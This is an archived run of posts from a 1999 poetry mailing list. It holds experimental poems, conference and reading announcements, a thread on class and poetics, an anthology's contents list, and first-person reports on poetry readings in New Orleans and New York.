Maria L. Zavialov wrote:

> *Discussing class it's good to remember WHERE this discussion is taking place. Place, I mean a geographic spot or location, is another aspect (like gender) that should be introduced into the discussion. I mean location in terms of its economic situation. Thus the inhabitants of the US can all be said to belong to the upper class if viewed from a poor Asian country. One should try hard to stay hungry in the US, isn't one? The same goes for different locations within one and the same country. Like in Russia a native of Moscow coming to St. Petersburg is automatically moving one step up on the social ladder. And when he comes to a small provincial town he is already two steps up. And in a village... oh, in a village he (yes, he) is a guru.*
> *Masha Z.*

--

==========
Web Del Sol
http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

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278. Alan Sondheim
winter logs in hokkaido
Sat 13 Nov 1999

-

winter logs in hokkaido

honshu incense kamogami smoke calls forth hysterias
  and the last_time beyond the endless roll of days,
  answering and calling forth
beyond the shame, honshu incense kamogami smoke,
  dead words in beauty-smoke kyushu
last_time is kitakyushu in black earth, the long_lost_time
  and refugees and dreams and you walked for 261796 hours
honshu incense kamogami smoke and we are still alive
for 6 days of comas, we have been dissolute and buried,
  and it has taken us 23 minutes to speak our last
honshu incense kamogami smoke, dead words in beauty-smoke kyushu
winter logs in hokkaido, kitakyushu, moji
your hysterias, fukuoka, are outside my shame
and kitakyushu
our lost_love destroys the smoke of kitakyushu

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279. Dubravka Djuric
Fw: (Fwd) (Fwd) International Women's University Hannover
Sat 13 Nov 1999

>
> Please find below an invitation of the International Women's
> University, Hannover.
>
> >Dear All,
> >as promised some information on the International Women`s University
> >"Technology and Culture" in Hannover.
> >It is going to take place from july, 15th to October 15th, during the
EXPO
> >2000.
> >900 junior women scientists from all over the world will be invited to
> >participate. Fundamental features of the ifu are internationality,
> >interdisciplinarity and the integration of art + science.
> >The project is devided into 6 areas: work - information - body -
migration

> >- city - water as highly controversial problems in the 21th century.
> >
> >You can find further information at
> >
> >http://www.Int-Frauenuni.de
> >
> >email:[redacted]
> >
> >Best wishes,
> >Michaela
> >
> >the application date has been expired to NOVEMBER 30!!!
> >
> >
>
> Esther Vonk, ATHENA central coordinator
> Lia Stigter, ATHENA assistant
> International Office Women's Studies, Utrecht University
> Trans 10, 3512 JK Utrecht, The Netherlands
> tel. [redacted], fax [redacted]
> http://www.let.uu.nl/womens_studies/athena.htm
>
>

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280. Dubravka Djuric
raport-forth regional seminar - ceu budapest
Sat 13 Nov 1999

Three weeks ago Central European University, Program on Gender and Culture organized the first meeting of Fourth Regional Seminar on Gender and Culture. Seminar theme is: Women in Literature and the Arts - Ten Years after the changes. First sesion was dedicated to historical questions. Most of the presentations were considering women writers from the end of the 19th century and first part of 20th century, who are part of the national canon, but tend to give new interpertations of their work or pointing to their differece. Some of the interesting issues discussed were: women and madness; ambigues relation of the small easteuropean cultures to the large west cultures; andogene contract, question of the canon and the position of women in it in easteurope, etc. Next session will be at the begining of the March 2000 and will dedicated to the general theme Literature and Transition.

AGENDA:
>
> Friday, October 29
>
> 15-16
> Introductions
>
> 16:30-18:30
> Anna Gacs (Hungary): Problems of Regarding Women's Writing as an Autonomous Corpus in
> a Small Literature.
>
> Discussion: Problems of the Literary Cannon (moderator Anna Gacs)
>
> Saturday, October 30

> 10-11
> Dubravka Djuric (Yugoslavia): Remarks on Revaluation and Re-contextualization of Women's Heritage.
> Martina Moravcova (Czech): Bozena Nemcova: the Problematic Matriarch.
>
> 11:30-12:30
> Discussion: Revaluation of Women's Writing (moderators Dubravka Djuric)
>
> 14-16
> Biljana Dojcinovic-Nesic (Yugoslavia): "My name is impossibility:" Observations on An/other Literary History
> Dasa Francikova (Czech): Rethinking Bozena Nemcova's Friendships with Women
> Katarzyna Wieckowska (Poland): A Double Erasure. The Life and Work of Maria Komornicka.
>
> Discussion: Silences and Erasures in Women's Literary History (moderator
> Biljana Dojcinovic-Nesic)
>
> 16:30-18:30
> Miglena Nikolchina (Romania): Love Triangles and Intellectual Couples: Strategies and Counter-strategies in Bulgarian Women's Literary History
> Irina A. Zherebkina (Ukraine) - The Fair Lady
> Sandra Meskova (Latvia)- Anna Brigadere and the Construction of Woman in Her Autobiographical Novel "Dievs. Daba. Darbs." (God. Nature. Labour.)
>

> Discussion: Women-Writers' Positioning in/against the Cannon (moderator
> Sandra Meskova)
>
>
> Sunday, October 31
>
> 10-12: 30
> Conclusive Discussion: Priorities and Directions
>
>
>
>

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281. **David Baratier**

Re: Business, class, access

Sat 13 Nov 1999

To clarify the statement "A force to work against without the naming process supplies the energy without the denegrative state of reverse labeling." I made earlier, I found this in the new Booglite, written by Harryette Mullen:

"The work of Erica Hunt and Will Alexander seems specifically designed to render inoperative such assumptions [issues of class & race]. Their work challenges conventional or reductive descriptions of "black poetry" and "black identity," while confronting head-on the conventional splitting of identity politics and black literary production from aesthetic practices, innovations, and influences of literary avant-gardes typically identified with Europe. While they certainly differ from each other in style, ideological position, and in aesthetic influences, both poets allow themselves a broad range of subject matter. Alexander is especially eclectic and inclusive when it comes to choosing topics for writing, from alchemy, philosophy, and religion to the history of visual art. Hunt's poetry brings to the page a recognizably urban female persona that eludes common racial stereotypes, while Alexander's hermeticism and surrealism signal the continuing influence of a historically international avant-garde."

The writing without mention of the opposition, the writing which neutralizes it, appears to have a powerful effect. I would be interested learning about poetry which is class based that mentions the oppressor in concrete terms, rather than not at all, and does so with out falling into the triteness that often occurs in oppositional poetics. I can think of a few, but very few. Joy Harjo's work, Martin Espada's _City of Coughing and Dead Radiators_ most examples do not hold to

multiple readings in the way that Neidecker's work or Alexanders does. Rachel Loden's new book is one of the only recent books I've read that directly attacks the US socio-political situation and remains intact for multiple readings.

Jill, if you check back through my posts, I did not state that lack of access to opportunities does not occur, I made pains to maintain my writing in "I" based statements, when mass assumptions were made & I knew they did not fit me, I went outside of these confines to include some other individual writers. Never was there a "we" intended. I did not address women & class, which is not an oversight, I do not have personal experience and assume others here would address the subject.

Don Wellman (lilliput?) & Dodie bring up something that I wonder about, having done it a lot myself, especially in grad school. The act of overcompensation. Which seeing these posts together makes me wonder if this truth of, as Dodie states, "working class guys [having] a harder time assimilating into the middle class poetry world" is a section of this overcompensation. And I too have found it "intolerable that some people wish to rub my naivity in my face." The question from me is, when does one cross this line of overcompensation on the page? Inaccurate hearing of slang, use of the latinate, stating of the opposition?

And Joe Amato, I have always have admired your ability to get to the core of the matter, to get something learnable from it. I'll make an attempt to answer your post when there is more time, as, yes, it is a difficult subject to discuss, & my time to write impinged by physical labor today.

As for David Larsen "Having no ambition myself to rise so high into 'the upper eschelons' of anything as to be unable to resist crapping on people a la Mr. Baratier," who "volunteers to serve as this list's spokesperson for lettuce-sorters --and, if need be, to pass your *civil* responses back to them." There seems to be an assumption that I made the lettuce sorting comment which is not the case. And *civil*, such as this one? I hope your aggression towards the target you believe me to be has made you feel better.

Be well

David Baratier

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282. **Murat Nemet-Nejat**
Re: TEST_COERCION_TO_CHAR.OUT
Sat 13 Nov 1999

I was blind copied on this.

Murat

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283. Lawrence Upton
Sub Voicive Poetry and Writers Forum
Sun 14 Nov 1999

Apologies for cross posting

The Sub Voicive Poetry and Writers Forum websites remain impossible to update and are intermittently available for reading. The provider says it is everybody else's fault.

Instead of giving one deadline after another, like the supplier, let me say that I shall post another note as soon as there is a change and that if there isn't a change by the end of the coming week - say by 20th November - then I shall look to relocating the website

No information is yet incorrect but there are updates which will add information which cannot be made

The next SVP reading in London is by David Bromige and Michael Heller on Tuesday 16th November Upstairs 3 Cups Sandland Street London WC1 8 p m

It is hoped that there will be a new issue of Spad magazine, devoted to work by David Bromige; assuming it is available on time a copy will be given to every paying member of the audience

Further details for those who cannot attend on publication

Lawrence Upton

SVP: http://matrix.crosswinds.net/members/~subvoicivepoetry/ Lawrence Upton: http://members.spree.com/sip/lizard/index.htm RWC: http://members.tripod.com/~ReadandWrite/contents.html Writers Forum: http://www2.crosswinds.net/members/~writersforum/

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284. Lowther, John
Weekend in New Orleans (part 5)
Sun 14 Nov 1999

{ p o e t i x }

i know i said i was gonna knock this off but all those lighters raised in the audience have lured me back again --- *and* i thought of a number of other things that i wdve mentioned had they occurred but for whatever reason didnt when i wrote up reports 1-4, so, as a last stab at the final notation

SYMPOSIUM

after my talk, andy di michele's, camille's and randy's, hank lazer acted as something of a prompter and facillitator for a "panel on an otherness: the south and experimentation" ---- he handled this something like a thing i'd seen him do in tuscaloosa some time back and rather than knocking a ball out between two of the presenters or searching for things within their talks he instead had a series of (i think it was 10) propositions, or questions ---- these were all interesting unrolling but i do recall thinking that that any one of them wd have served for the framing of a whole conference ---- and he had 10 multi-layered and thickly implicating questions

at the this remove the ones that stick out in my memory are those to do with the nature of regionalism, being "southern", the serach for distinctions within and between words like community, local, region etc ---- and another question that hovered around the question of ~what next~? where people are going what are they doing etc

it also occurs to me that i didnt mention mike sarki's talk at all ---- he was speaking "against the experimental as such" and beneath the defensiveness and protestations that we wd misunderstand, that he didnt belong there, the assertions that "we" were all academics whereas he was a plumber etc ---- beneath all of that his main point seemed to be that "experimental" wasnt a genre (and that if it was he had nothing to do with it) and that instead what experimentalists were obsessed with was a search for novelty ---- this was a curious talk for a number of reasons ---- he protested his "common man" status against all the assembled "academics" (who were they exactly?) and yet he was ghosting along the edges of heidegger in his talk and ended with a longish quote from deleuze ---- he presented himself as the one disssenting vote about what ~experimental~ might mean and while i didnt give the talk i was hoping i wd've, nonetheless one of my main statements was that ~experimental~ isnt meaningful when used as a genre or stylistic term ---- anyway

in the panel at the end the "E-word" surfaced a good deal and judging by the general trend in usage neither my attempted pruning nor sarki's feint toward "novelty" made much difference to anyone and i think that in spite of hank's propositions and what had transpired in the talks the panel threatened to fall into a cataloging of impressions RE the E-word that added very little to what had happened already

BERNADETTE

at one point bernadette was talking about having her own cow for milk etc when i walked into the dining room at camille's and i remember everyone laughing a good bit about it but not much of anything that was said ---- i

imagined bernadette facing the cow in perhaps a parlor somewhere asking it questions

READING

david thomas roberts was billed as a visual artist, poet and contemporary rag composer and player --- in the reading he mentioned the ozarks in missouri several times as being behind the references in various poems (i never caught any of these it seems) ---- i liked his vispo material in the NOR issue a fair amount and his reading was fine tho i have a certain difficulty bringing the 2 sets of impressions into any relation

hank lazer read, and again i was reminded of the event in tuscaloosa which i reported on some time back here ---- 1st perhaps b/c hank read one of the pieces that he'd read there with a line which i believe goes "chilli lewis legged in a grounder" --- his also was the poem i mentioned elsewhere in these reports called "prayer" ---- a number of things struck me in hank's reading ---- his use of a hand gesture to delineate the breaks within a series of untitled pieces (andy di michele also used a lot of gestures in his reading/talk earlier that day and again the next day at the maple leaf bar) and the gestures that he made at moments within the poem itself, particularly a gesture with the bent index and thumb taken from the fist as if holding up a small stone or showing someone the measure of something that size ---- another thing i noted about hank's reading was the meditative pace and the clarity of utterance (maybe i'm specifically impressed by these things as i tend to read between quick and very fast and when i read slower i feel as if i'm getting ponderous) that really held the attention

during the course of this event intermissionless event i had some difficulty paying attention and also took a couple of breaks and so apologize for not having anything to say about dave brinks, susan facknitz, or andy young (maybe this last was the most physically sensually oriented work read)

and there were also two dance pieces by amy trussell both interpretations of jake berry poems ---- i liack the knowledge or vocabulary to say much of anything about these --- tho i do with that i had been able to hear the poem better and too jake berry was sorely missed at this event

PARTY AT BILL'S

at one point while randy and skip and i were talking poetry in a darkened room (see previous reports) there was some commotion outside the window and lights moving around and randy looked out to see that bill was flashlighting up into the tree in his backyard where two raccoons were seated in a crook watching the partiers next day i head tell of how it is in the alley behind bill's where a neighbor feeds all the alley cats and the coons and cats have

ceased turf and territory wars and can be seen eating side by side from the same bowl

AT THE AIRPORT

bill wished us goodbye and told us to call if we git bumped from our flight or if it crashed or anything that he cd help with

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285. **Joe Amato**
new anthology...
Sun 14 Nov 1999

---

just rec'd news in the mail of what looks to be yet another interesting, and no doubt eyebrow raising, anthology, this time on oxford up no less (as most of you know, the same press that dropped of late their contemporary poetry series, despite public handwringing in the british parliament)... forthcoming december 1999, just in time for mla, y2k, etc.:

anthology of modern american poetry
ed. cary nelson
1200 pp., paper, $45

here's the list of the poets included (which is not meant to imply that all poets receive equal treatment, page-wise):

walt whitman
emily dickinson
edwin markham
sadakichi hartmann
edgar lee masters
edwin arlington robinson
james weldon johnson
paul lawrence dunbar
lola ridge
amy lowell
gertrude stein
robert frost
alice dunbar-nelson
carl sandburg
vachel lindsay
wallace stevens
angelina weld grimke
georgia douglas johnson
mina loy

anne spencer
william carlos williams
ezra pound
h.d.
robinson jeffers
marianne moore
t. s. eliot
john crowe ransom
claude mckay
edna st. vincent millay
archibald macleish
dorothy parker
genevieve taggard
e. e. cummings
jean toomer
charles reznikoff
herman spector
v. j. jerome
john wheelwright
joseph freeman
lucia trent
louise bogan
harry crosby
hart crane
allen tate
melvin b. tolson
yvor winters
sterling a. brown
laura (riding) jackson
angel island: poems by chinese immigrants, 1910-1940
kenneth fearing
langston hughes
arna bontemps
gwendolyn bennett
countee cullen
lorine neidecker
kay boyle
carl rakosi
aqua laluah
louis zukofsky
john beecher
kenneth rexroth

robert penn warren
stanley kunitz
joseph kalar
richard wright
theodore roethke
george oppen
edwin rolfe
charles olson
sol funaroff
elizabeth bishop
william everson
tillie lerner olsen
muriel rukeyser
robert hayden
charles henri ford
weldon kees
randall jarrell
japanese american concentration camp haiku, 1942-1944
john berryman
william stafford
dudley randall
joy davidman
margaret walker
ruth stone
thomas mcgrath
robert lowell
gwendolyn brooks
william bronk
robert duncan
richard wilbur
mona van duyn
james dickey
denise levertov
anthony hecht
bob kaufman
maxine kumin
paul blackburn
frank o'hara
james merrill
allen ginsberg
robert creeley
robert bly

a. r. ammons
james wright
john ashbery
galway kinnell
w. s. merwin
anne sexton
philip levine
adrienne rich
gary snyder
gregory corso
etheridge knight
sylvia plath
henry dumas
amiri baraka
n. scott momaday
mark strand
audre lorde
charles wright
mary oliver
jayne cortez
lucille clifton
susan howe
michael s. harper
ishmael reed
lawson fusao inada
robert pinsky
welton smith
judy grahn
robert hass
sharon olds
louise gluck
michael palmer
paul violi
carolyn m. rodgers
ron silliman
adrian c. louis
yusef komunyakaa
ai
wendy rose
c. d. wright
jessica hagedorn
ray a. young bear

carolyn forche
garrett kaoru hongo
rita dove
jimmy santiago baca
anita endrezze
ana castillo
mark doty
harryette mullen
louise erdrich
sandra cisneros
thylias moss
patricia smith
marilyn chin
sesshu foster
martin espada
sherman alexie

quite some list, no?... i'm eager to understand the logic behind this compilation (which seems self-evident in some cases, and far from same in others), but will of course have to get my hands on a copy first... the text is supported by a "rapidly evolving website, which now features pages for more than 70 of the anthologized poets":

> http://www.english.uiuc.edu/maps

and editor nelson may be contacted if you wish to contribute to same:

> prof. cary nelson
> [redacted] (fax)
> english dept.
> university of illinois
> 608 s. wright st.
> urbana, illinois 61801
> usa

///

joe

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286. **hassen**
question
Sun 14 Nov 1999

---

hello al ~

if/when you get a moment, would you please direct me to info on the philly poetics list? i was told to look on the writers house page - which i did to no avail.

thanks in advance/apologies for taking your time,
hassen

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287. Alan Sondheim
"loose ends"
Sun 14 Nov 1999

/
/

"loose ends"

"my shameful eyes, the Leopold"

"my shameful eyes, the dead eyes roiling me on your spike, always that spike again, tired of eating, swallowing, of the whole thing, in a hurry before I die.:yes sure, whatever, eating each other, it's the stuff of typography, what makes lead, what poisons the body, you wouldn't know that:when i'm running it's crazy, my head presses into my toes:death of birth:denouement of life Does when I'm running it's crazy, my head presses into my toes turn Azure, my shameful eyes, the dead eyes roiling me on your spike, always that spike again, tired of eating, swallowing, of the whole thing, in a hurry before I die., to you? last_fuck with hours of sexual fury!"

"!"

"Elsewhere, I've removed the exclamation mark from a point within a text, calming everything down. there are spears carrying universal orreries down into our shameful eyes. I want things calm, flat, the whole world smoothed and healed, spikes as well. no lead typography or dead trees. thinking in very many streams, flowing without ripples, sheen."

"Nikuko and Doctor Leopold Konninger"

"Last night I dreamed of famous Russian ballet dancer Nikuko still slowly pirouetting before Doctor Leopold Konninger, the two locked in mutual fascination, obsession, to the exclusion of everything else. An orrery, impenetrable, the body writing itself into space, turning on the wood of trees - the Other, seated, upon the same."

"I don't"

"I don't want to murder anyone's words.:silence anyone. :I don't want to:I don't want murder or death.:I don't want to murder anyone's words. Come with me, I don't want to murder anyone's words., Doctor Leopold Konninger! dark eyes and blind shamefulness:so yes, through my eyes, your spike I cannot see alas:so very shameful eyes:your doing with me:your taking me Come with me, dark eyes and blind shamefulness, Doctor Leopold Konninger!"

↑ Index

288. **Alan Sondheim**

Noise News: 'Your Life' (fwd)

Sun 14 Nov 1999

(I was once associated with Perforations, which I love. Alan)

Date: Sun, 14 Nov 1999 22:52:50 -0500 (EST)
From: robert cheatham <[redacted]>
To: [redacted]
Cc: [redacted]
Subject: Noise News: 'Your Life'

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"The bit of noise, the small random element, transforms
one system or one order into another."
M. Serres

"Between the rationality for which the analysis speaks and
the law that history repeats there remains a gap,
infinitesimal to be sure,
but fundamental"
M. De Certeau

****

First of all, we at Public Domain and Perforations would like to wish

everyone a happy holiday season. For those of us who live half-electronically, It's easy to forget that the other half lives very concretely.

We would also like to thank all those who have contributed to Perforations as well as those who have visited the PD site. We are now averaging about 41,000 hits a month--and for something that's not a porno site, a download or topical news site that's pretty gratifying and we thank you again for visiting with us.

We are still compiling P21, 'Eurocentrism and the Dilemma of Deep Time' and are beginning to think ahead to P23, on poetics, as well as a general Public Domain digital arts project late next year to be called 'Inter/Facing The Dead'.

More on those later. For now let's talk about:

'YOUR LIFE'
PERFORATIONS 22

As I was making an entry in my on-line journal recently, it occurred to me that there must be hundreds of on-line journals and diaries in this pre-millennial year. Perhaps most of them not using any flashy graphics, javascript, CGI, CCS, dhtml, but patiently recording the ebb and flow of their daily, weekly, or monthly life, perhaps only the minutiae which seems to clog most of lives but also gives it feet and shoes with which to walk, the stories of our small pleasures as well as occasional defeats. But perhaps also the occasional glimmer that seems to give us some sense of where and who we are, where we've been and where we think we should be going, a passing but necessary illumination for not only those of us who write them but maybe even, fleetingly, for those who might happen to come across them.

This node of PERFORATIONS will feature your journal or diary (after all--you put it on-line so you must want folks to read it, right?) Whether only the daily emotional weather, dream diary, your occasional unformed theoretical musings, sophisticated or homespun, we would like to feature them. Rather than storing them on the Public Domain server, we would like to link to your URL since the expectation is that these are on-going efforts (with the exception perhaps of archived or discontinued journals.). The only other wish on our part (other than that they be on-going efforts) is that you send a small graphic which can be used as a thumbnail on the index page and perhaps a brief description.

For more information contact Robert Cheatham at [redacted]

****

general enquires to: [redacted]

Public Domain, Inc. is a 501 (c) 3 non-profit organization devoted to exploring the nexus between art, theory, technology, and community.

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289. Stephen Vincent
Lester Bowie/KPFA
Sun 14 Nov 1999

John Bennett paid lovely tribute and played a number of cuts by the late Lester Bowie during "Forms & Feelings," the title of Bennett's regular (excellent) KPFA (Berkeley) Saturday afternoon jazz program. Another good reason to support the uniqueness of the station against overhaul efforts by its currently misdirected umbrella, the Pacifica Foundation. Cheers, Stephen Vincent

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290. lee ann brown
email change + soft skull readings
Mon 15 Nov 1999

Dear Listers:

Please note:
My email has changed from

[redacted]

to

[redacted]

Also
Here's a forward:

> *SOFT SKULL PRESS ANNOUNCES TWO READINGS*
>
> *Soft Skull Ladies*
> *November 19*
> *@ Bluestockings Books*
> *172 Allen St.*
> *7 pm*
> *Free*
>
> *Nora Ruth Roberts reads from her debut novel Ripe Tomatoes, the tale of a New Jersey tomato-growing commune.*
>
> *With Cynthia Nelson, Lee Ann Brown, Maggie Nelson, and Cat Tyc.*
>
> *Soft Skull @ Revolution Books*

> *November 22nd*
> *9 W.19th St.*
> *7 pm*
> *Free*
>
> *William Upski Wimsatt (author of Bomb the Suburbs and No More Prisons), two books about hip-hop and social activism in the city.*
>
> *Nora Ruth Roberts reads from Ripe Tomatoes.*
>
> *Seth Tobocman, artist/author/co-founder of World War Three Illustrated will read from the recent You Don't Have to Fuck People Over To Survive.*
>
> *For more info, please contact*
> *Cat Tyc*
> *http://www.softskull.com*
> [redacted]
>
> *Sander Hicks*
> *Editorial*
> *Soft Skull Press, Inc.*
>
> *MAIL: 98 Suffolk Street #3A*
> *STUDIO: 100 Suffolk, basement*
> *NYC, NY 10002-3366*
>
> *FAX:* [redacted]
> *www.softskull.com*
> *VOX:* [redacted]

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

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291. **jenho**

Ochs/Hejinian/Dragomoschenko Collaboration

Mon 15 Nov 1999

This came to me from the filmmaker Jacki Ochs, thought some of y'all might be interested. The film script is edited down from hundreds of pages of correspondence between Hejinian and Dragomoschenko, not unproblematically, but definitely interestingly. And to hear Lily Taylor's voice speaking Lyn Hejinian's words is truly strange.

Smooches,

Jen

*

Dear friends and colleagues,

LETTERS NOT ABOUT LOVE, a unique film collaboration between artists Lyn Hejinian (U.S. poet), Arkadii Dragomoshchenko (Russia, poet) and Jacki Ochs (U.S., filmmaker) will be featured at the Musuem of Modern Art's biennial presentation titled FilmFest - films from the independent states of the former Soviet Union. This is the only American directed film in the series. FilmFest will be paying tribute to Aleksandr Pushkin on his 200th birthday anniversary.

LETTERS NOT ABOUT LOVE, an hour long 16mm film based on a five year correspondence between the poets, features a striking score by Larry Ochs with additional music by Sergey Kuryokhin, glorious photography by James Livingston, and is narrated by actors Lili Taylor and Victor Nord. The film has won several awards including Best Documentary Feature from the South by Southwest Film Festival.

Dates are: Tuesday, December 7th at 2:30PM
Friday December 17th at 7PM.
Address: 11 West 53rd St., Roy & Niuta Titus Theatre #1

Following are a few quotes on the film "Letters Not About Love"

Michael Ondaatje author of "The English Patient" "The delicate merging of private maps - home, grandmother, local weather - in this intimate and formal correspondence of two poets, one in America, one in Russia. How a kettle whistles there, how a sun floats here. A beautiful and moving film."

Laurie Anderson performance artist - composer "Letters Not About Love" is a gorgeous meditation on the mysteries of language and place. Using a written exchange between two writers who riff on definitions of one and two syllable words, Ochs has created a fascinating double portrait of the United States and

Russia, which emerges through evocative images and stories. Jacki Ochs has made a truly beautiful and original film."

Cleveland Plain Dealer "By the end of this short 60 minute film, a deep intimacy has been established ? between the poets, between their cultures, and between film and audience."

Austin Chronicle
"..a rare embrace of the political and the personal...a true and literal fusion of cinema and poetry."

For more info.
A Human Arts Association Production/54 Greene St. #4A/NYC NY 10013/tel.[redacted]
fax. [redacted] e mail. [redacted]

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292. Grant Jenkins
Top dollar urine sing-a-long (renga)
Mon 15 Nov 1999

Top dollar urine sing-a-long

wonderul--and yes--I consider Cotton
Mather too then. The Captivity
narratives--tho not verse--and certainly
a strange poem or two by
"anonymous" I've
found on "the drunken
spirit"

:b

I will watch the proposed renga &
guess that I will be, first, deleting a lot, & maybe , second,
setting: poetics-list no mail until it's over -
collaborative verbal spillage & seepage soon got
tedious last time out -- after about a week --
I'd hopefully suggest a renga go on a renga list

Absolutely, yes.

:p

Anyone interested
agreeing to take on the renga thing
as a side project to the list I'm anxious
to see what

comes of it best, Chris poetics list
moderator yes

a:

"What is certain is that the renga's occlusion
    of other conversation
        became tedious after a time"
To be continued
    by Grant Jenkins
        on subsubpoetics
if he
    so
        desires.

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293. David Kirschenbaum
BoogBeat: Davis/Koch, Wilk/Stroffolino, Troupe/Zinc Bar
Mon 15 Nov 1999

BoogBeat: Five Days in the City, November 10-14, 1999:
Jordan Davis, Kenneth Koch, James Wilk, Chris Stroffolino, Quincy Troupe, Wayne Koestenbaum, and Taylor Mead

Wed. 11/10/99:
Jordan Davis and Kenneth Koch
at the Poetry Project at St. Mark's Church

BoPoFest chieftain Aaron Kiely's just bought a used Geo from someone he knows in Northampton, and plans many NYC visits now that he can just car-bop over. But as he readies to head to PoProj for tonight's Davis and Koch reading, discovers the breaks need work, and $200 later finds himself on a Peter Pan bus, with potpourri air forced in every 15-minutes and the movie The Rock on seven TV screens throughout the 50 seat couch, the volume constant--"I had to watch fuckin' Ed Harris be macho for two hours"--and he makes it to my Chelsea studio in time to drop-off one bag, as we grab some Djarums and three slices, before we enter Parish Hall.

Everyone likes Jordan Davis, so we'd all plan on hitting his readings anyway, but this being a Wednesday night at the Church, and the chance to see Koch, too, brings the poets out in droves. The PoProj troika of Ed Friedman, Marcella Durand, and Anselm Berrigan, are all in attendance, Prageeta Sharma is taking cash at the door, and scattered throughout are Drew Gardner, Ron Padgett, Douglas Rothschild, Eddie Berrigan, Kristin Prevallet, Jeni Olin, and a late-arriving Kimberly Lyons.

Mitch Highfill, back to the Project to coordinate the Wednesday night series this year, introduces Jordan first. Jordan always solid, delivers wicked lines that are made even stronger by his clean-cut , straightman good looks, and matter-of-fact reading style. Here are my favorite lines: "purpose in her Pumas"; "my heart isn't sick, it's just overdressed"; "take me to your massive mermaid"; and the plain evil: "you look telephone pretty."

Aaron and I quick-smoke with Prageeta outside during the break, and she heads back to the table, as I show him where Vice President Daniel Tompkins may be spending eternity.

I sit on the floor, stage right, to take some photos of Koch alongside Jordan and his wife, stay there, my knees splayed in what we probably don't call Indian style anymore, as Koch's grandson starts throwing a plastic water cup, grabbing it and tossing it again, toward the area right in front of the lectern behind which his grandpa is delivering his poetry. The boy's father, sitting on a meditation mat, grabs his son's attention--boy can't be more than five-years-old--and writes math problems into his notebook to quiet him from crumbling the plastic cup. The boy answers every problem right, his dad doing the math slower than the little one who figures half of the answers out in his head.

Koch reads poems to his army days, marijuana, and his Jewishness, the latter hitting home solid. His grandson took me away from note taking, but one line from "to Jewishness" that brought some giggles of the nervous kind, told of young Koch in a World War Two foxhole, his comrade yelling that "Those fucking Jews are all back inside, you don't see no fucking Jews in the foxhole, " as Koch decides to repress his Jewish identity.

After reading, chat with Kim Lyons and friend, try to talk them into going to the Grassroots on St. Mark's for drinks, though the babysitter is home watching Kim and Mitch's little one, now three. So Aaron and I head over, as the Davises all head to dinner with Jordan's folks and Jordan says he'll see us in 45 minutes.

At Grassroots the Berrigans, Rothschild, Prevallet, and the rest drink and schmooze. Mitch and Kim make it over for one drink that becomes two or three, as he tells me about the time he saw the Beatles in Memphis when he was a boy, as we talk Elvis Costello and poetry, Mitch ripping my head wide open with his thoughts. Explosive editor Katy Lederer's there too, and I introduce her to Aaron before she heads to the outer boroughs.

Aaron and I walk Jeni Olin home to the Chelsea Hotel on this unusually warm autumn night, and she mentions Boulder and reminds me we met over my postcard project during Naropa summer 1997. Aaron's bladder is about to explode halfway through out 30-minute walk, so Jeni invites us in to use her bathroom. First time in Chelsea, as I scope art covered walls as Aaron emerges

refreshed, before we say bye, get a pint of Haagen Daz and talk shit half the night while I show him pubs he's never seen before.

Thurs. and Fri. 11/11-12/99:
Poet-musicians: James Wilk and Chris Stroffolino

Hit Luna Lounge on Ludlow Street to catch the return of Fatstick editor James Wilk's band Imaginary Numbers. I saw what was supposed to be their first and last show here last August, right before their bass player headed off to Texas for college. But here they are again, with a new bass player who's pulled the band together. They're no longer mumbling their unfinished lyrics; the vocals are mixed above the instruments so you can hear the witty lyrics about Moses, the World Cup, and gravity; and they seem to be having a whole lot more fun.

Next night head with poet Joanna Fuhrman to see her roommate Chris Stroffolino's band play loft party in Greenpoint. Walk over to West Street and discover insane view of the city, Chrysler Building shining even more in black sky than it reflects in sunlight, and we get there way early, 10:15 for a show slated for 10, as Strof tells Joanna, "What are you doing here so early? Don't you know nothing starts on time in the city?" We head out with some others to grab some beer at the corner store, actually called that, and it looks like some chunk of middle America that got lost in Brooklyn, as I buy some Dos Equis and we head back.

More people are filtering in, and eventually the loft is packed, as I walk across the stage and out onto the roof to see the skyline and escape the crowd. I only know Joanna and Chris, not a single poet in the crowd other than us three, "A good thing" Stroffolino says with a smirk after the show when I tell him this, and we laugh.

The band, Volumen, with Chris on keyboards, is a Britpop blast straight outta 1964, as they wear dark, solid ties, and collared shirts. They sound great, but the vocals are way down in the mix, and you can't understand a thing the lead singer is saying. After one song, a friend ambles over to the vocalist, as he crouches down, and a few seconds he later he does some adjusting and voila, we can hear the vocals a bit better, though still not perfect. Joanna says the band sounds much better than the last time they played, and she's proud of/for Chris. The line's 10-deep for the one bathroom in the loft, so I head to the street and 5-beer pee in the overgrowth, before grabbing the G train home.

Sun. 11/14/99:
Quincy Troupe at Tribes Gallery;
Wayne Koestenbaum and Taylor Mead at the Zinc Bar

After taking six-year-old niece Michelle to McDonald's breakfast where we sit in front car of a choo-choo train as she dips her pancakes in syrup and I drink ok

decaf, before she reads to me in Barnes and Noble's kids room where she tells me that her mother, my sister, doesn't want her getting anymore character books, but she insists on me getting her a Rugrats Thanksgiving book, until a phone call to her mom reveals she already owns it, and so I get her a nice Chanukah book instead, I subway home, skipping Jewish sports panel at Holocaust museum, head to home for downtime, before calling Wanda Phipps to come see Quincy Troupe at Tribes Gallery on 3rd between Avenues C & D, up the block from where my dad was born--across the street from where the Nuyorican Poets Café now rests--on a kitchen table nearly 70 years ago. I call Wanda back and tell her it's a reading, not just a book party, because I know she's not into hitting readings right now. And a few minutes later get a call from her that she's not going to go.

Quincy is one of my favorite writers, a poet whose words bop like the music of his old St. Louis neighborhood, where Chuck Berry was living and playing right up the block from Troupe. Walk up tenement steps into Tribes apartment/gallery to see Eliot Katz and Long Shot magazine editor Danny Shot who silent hello wave. Catch last coupla poems before Quincy talks for half-hour or so on poetry, Miles Davis--"Miles told me once 'I'm gonna knock your head off,' and I said, 'Shit, you're what, 5'8" 150, I'm 6'2" 220, that ain't happening so shut the fuck up.' 'I was a boxer in the …' and Quincy waves his hand derisively and goes 'Yeah, yeah.'"; and Code, the new lifestyle magazine for black men he's editing during his year-long sabbatical from teaching.

